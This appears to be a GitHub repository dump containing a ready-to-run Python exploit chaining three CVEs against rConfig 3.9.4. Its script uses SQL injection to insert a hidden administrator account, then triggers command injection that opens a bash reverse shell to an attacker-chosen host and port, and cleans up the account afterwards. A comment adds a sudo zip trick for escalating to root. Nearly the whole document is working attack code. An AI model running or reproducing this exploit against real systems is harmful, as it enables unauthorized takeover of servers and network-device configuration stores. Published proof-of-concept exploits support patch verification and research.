├── requirements.txt ├── example_run.gif ├── README.md └── rconfig-exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | termcolor 3 | requests 4 | bs4 5 | -------------------------------------------------------------------------------- /example_run.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kr0ff/rConfig-3.9.4-Chained-RCE/main/example_run.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rConfig-3.9.4-Chained-RCE 2 | rConfig 3.9.4 is vulnerable to SQL injection leading to a Remote Code Execution 3 | 4 | ![](example_run.gif) 5 | -------------------------------------------------------------------------------- /rconfig-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # CVE-2019-19509 + CVE-2019-19585 + CVE-2020-10220 4 | ''' 5 | Privilege escalation can be obtained using the following command... 6 | By default the apache user, which a shell will be obtained as, has sudo privs to run /usr/bin/zip... 7 | 8 | # From GTFOBINS 9 | TF=$(mktemp -u) 10 | zip $TF /etc/hosts -T -TT 'sh #' 11 | rm $TF 12 | ''' 13 | 14 | try: 15 | import requests 16 | import sys 17 | import argparse 18 | import string 19 | import random 20 | import re 21 | import hashlib 22 | import urllib 23 | from time import sleep 24 | from bs4 import BeautifulSoup as soup 25 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 26 | from requests.exceptions import Timeout 27 | from termcolor import colored 28 | except ImportError as i: 29 | print("[0x1] Some libraries are missing !") 30 | print(f"[0x1] Python error: {i}") 31 | 32 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Disable insecure SSL warnings 33 | 34 | def ascii(): 35 | art = ''' 36 | .-._ _,-, 37 | `._`-._ _,-'_,' 38 | `._ `-._ _,-' _,' 39 | `._ `-._ __.-----.__ _,-' _,' 40 | `._ `#===""" """===#' _,' 41 | `._/) ._ _. (\_,' 42 | )*' **.__ __.** '*( 43 | # .==..__ "" "" __..==, # 44 | # `"._(_). .(_)_."' # 45 | ___ ___ _ ____ ___ 46 | _ _ | _> ___ ._ _ | | '<_> ___ <__ / | . | __ 47 | | '_>| <__/ . \| ' || |- | |/ . | <_ \ _`_ /_ \ \/ 48 | |_| `___/\___/|_|_||_| |_|\_. | <___/<_>/_/<_>/\_\\ 49 | <___' @Kr0ff 50 | ''' 51 | print(art) 52 | 53 | def temp_user_gen(LU=8): 54 | 55 | user = string.ascii_letters 56 | return ''.join(random.sample(user, LU)) 57 | 58 | temp_user_gened = temp_user_gen(8) # Store generated username for re-use 59 | 60 | def temp_user_pass_gen(LP=8): 61 | 62 | dict = string.ascii_letters 63 | randomize_passwd = random.sample(dict, LP) 64 | randomize_passwd = ''.join(random.sample(randomize_passwd, LP)) 65 | return ''.join(random.sample(randomize_passwd, LP)) 66 | 67 | unencrypted_temp_user_pass = temp_user_pass_gen(8) # So it can be displayed for login purpose if needed :) 68 | 69 | def encrypt_passwd(): 70 | 71 | hash_object = hashlib.md5(unencrypted_temp_user_pass.encode()) 72 | md5_hash = hash_object.hexdigest() 73 | return md5_hash 74 | 75 | encrypted_temp_user_pass = encrypt_passwd() 76 | 77 | def grab_ver(TARGET): # Grab the version of the target rConfig site 78 | 79 | TARGET = f"{TARGET}/login.php" 80 | r = requests.get(TARGET, verify=False) 81 | 82 | try: 83 | beautify_html = soup(r.text, features='html.parser') # Beautify the html from r.text 84 | find_all_p = beautify_html.find_all('p')[2] # Grab 2nd object, should be where version is found 85 | grab_ver = re.search(r'rConfig Version [0-9]\.[0-9]\.[0-9]', str(find_all_p)) # Regex to get only the version 86 | 87 | if not str(grab_ver.group(0)) in r.text: # Simple check if version is found 88 | print("[" + colored("0x2", "red", attrs=['bold']) + "] Version could not be identified or exploit isn't pointed to the right path...") 89 | sys.exit(1) 90 | 91 | else: 92 | print("[" + colored("0x0", "green", attrs=['bold']) + "] Application version is:", colored(f"{grab_ver.group(0)}", "yellow")) 93 | 94 | except Exception as e: 95 | print("[" + colored("0x4", "grey", "on_yellow", attrs=['dark', 'bold']) + "] Exception was raised !") 96 | print("[" + colored("0x4", "grey", "on_yellow", attrs=['dark', 'bold']) + f"] Exception is: {e}") 97 | sys.exit(0) 98 | 99 | def send_sqli_payload(TARGET): # Add temp admin to the target rConfig application 100 | 101 | print("[" + colored("0x0","green", attrs=['bold']) + "] Sending SQLi payload to add temporary admin user...") 102 | print("[" + colored("0x0","green", attrs=['bold']) + f"] Adding user...") 103 | print("=" * 20) 104 | print("Username: " + colored(f"{temp_user_gened}", "yellow")) 105 | print("Password: " + colored(f"{unencrypted_temp_user_pass}", "yellow")) 106 | print("=" * 20) 107 | 108 | # User specific vars 109 | temp_user_id = str(random.randint(100,200)) # Generate a random user ID 110 | #temp_user_adm_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin' 111 | temp_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d' 112 | user_admin_level = 9 # Administrator 113 | 114 | TARGET = f"{TARGET}/" # In case the input of -t arg is messed up by mistake 115 | 116 | # SQLi Specific var 117 | sqli_useradd = f"%20;%20INSERT%20INTO%20`users`%20(`id`,%20`username`,%20`password`,%20`userid`,%20`userlevel`,%20`email`,%20`timestamp`,%20`status`)%20VALUES%20({temp_user_id},%20'{temp_user_gened}',%20'{encrypted_temp_user_pass}',%20'{temp_userid_md5}',%20{user_admin_level},%20'{temp_user_gened}@domain.com',%201346920339,%201);--" 118 | 119 | r = requests.session() 120 | 121 | send_sqli = r.get(f"{TARGET}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command{sqli_useradd}", verify=False) 122 | if not send_sqli: 123 | print("[" + colored("0x2", "red", attrs=['bold']) + "] Couldn't add a new temporary admin !") 124 | sys.exit(1) 125 | else: 126 | print("[" + colored("0x0","green", attrs=['bold']) + f"] Succssfully added user: " + colored(f"{temp_user_gened}", "yellow") + " !") 127 | 128 | def rce_exploit(TARGET, LHOST, LPORT): 129 | 130 | TARGET = f"{TARGET}/" # In case the input of -t arg is messed up by mistake 131 | 132 | print("[" + colored("0x0","green", attrs=['bold']) + f"] Authenticating as user " + colored(f"{temp_user_gened}", "yellow")) 133 | 134 | r = requests.session() 135 | 136 | rce_payload = f'`bash -c "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"`' 137 | url_encoded_rce = urllib.parse.quote(rce_payload) # Has to be encoded, otherwise the application doesn't like it 138 | 139 | user_login_info = { 140 | "user": f"{temp_user_gened}", 141 | "pass": f"{unencrypted_temp_user_pass}", 142 | "sublogin": 1 143 | } 144 | 145 | try: 146 | r.post(f"{TARGET}/lib/crud/userprocess.php", data=user_login_info, verify=False, allow_redirects=False) # Authentication request 147 | get_dashboard = r.get(f"{TARGET}/dashboard.php", allow_redirects=False, verify=False) # Check if authentication was okay, looking for 200 OK 148 | 149 | if not get_dashboard.status_code == 200: 150 | print("[" + colored("0x2", "red", attrs=['bold']) + "] Authentication was not successful !") 151 | 152 | else: 153 | try: 154 | print("[" + colored("0x0","green", attrs=['bold']) + "] Authenticated successfully as " + colored(f"{temp_user_gened}", "yellow") + " !") 155 | print("[" + colored("0x0","green", attrs=['bold']) + "] Triggering the RCE payload...") 156 | r.get(f"{TARGET}lib/ajaxHandlers/ajaxArchiveFiles.php?path={url_encoded_rce}&ext=random",verify=False ,timeout=10) # Trigger RCE 157 | 158 | except Timeout: 159 | print("[" + colored("0x0","green", attrs=['bold']) + "] Timeout hit, RCE likely triggered. Check Listener !") 160 | 161 | else: 162 | print("[" + colored("0x2","red", attrs=['bold']) + "] Couldn't trigger the RCE payload !") 163 | 164 | sleep(0.5) 165 | sqli_userdel = f"%20;DELETE%20FROM%20`users`%20WHERE%20`username`='{temp_user_gened}';--" 166 | 167 | print("[" + colored("0x0","green", attrs=['bold']) + "] Deleting the temporary admin: " + colored(f"{temp_user_gened}", "yellow")) 168 | r.get(f"{TARGET}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command{sqli_userdel}", verify=False) 169 | 170 | # www/lib/ajaxHandlers <- folder where rce payload is uploaded 171 | print("[" + colored("0x5", "yellow", attrs=['bold']) + "] The RCE payload is uploaded to " + colored("@RCONFIG_INSTALL_DIR/www/lib/ajaxHandlers", "cyan") + " !") 172 | print("[" + colored("0x5", "yellow", attrs=['bold']) + "] Make sure to clean it after you're done !") 173 | 174 | print("[" + colored("0x0","green", attrs=['bold']) + "] All done !") 175 | sys.exit(0) 176 | 177 | except Exception as e: 178 | print("[" + colored("0x4", "grey", "on_yellow", attrs=['dark', 'bold']) + "] Exception was raised !") 179 | print("[" + colored("0x4", "grey", "on_yellow", attrs=['dark', 'bold']) + f"] Exception is: {e}") 180 | sys.exit(0) 181 | 182 | #Initilize parser for arguments 183 | def parse_argz(): 184 | parser = argparse.ArgumentParser(description='rConfig 3.9.x Chained Remote Code Execution') 185 | parser.add_argument("-t", "--target", help="Target https:[IP/HOSTNAME][:PORT]/rconfig/", type=str, required=True) 186 | parser.add_argument("-lh", "--lhost", help="Local IP for reverse shell", type=str, required=True) 187 | parser.add_argument("-lp", "--lport", help="Local port for reverse shell", type=int, required=True) 188 | #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided 189 | args = parser.parse_args() 190 | 191 | if not args.target or not args.lhost or not args.lport: 192 | args.error("[" + colored("0x3","yellow", attrs=['bold']) + "] Not all arguments provided") 193 | sys.exit(1) 194 | 195 | else: 196 | TARGET = str(args.target) 197 | LHOST = str(args.lhost) 198 | LPORT = int(args.lport) 199 | 200 | grab_ver(TARGET) 201 | send_sqli_payload(TARGET) 202 | rce_exploit(TARGET, LHOST, LPORT) 203 | 204 | if __name__ == "__main__": 205 | 206 | try: 207 | ascii() 208 | parse_argz() 209 | 210 | except Exception as e: 211 | print("[" + colored("0x1", "grey", "on_red", attrs=['dark', 'bold'])+ f"] Python error: {e}") 212 | sys.exit(1) --------------------------------------------------------------------------------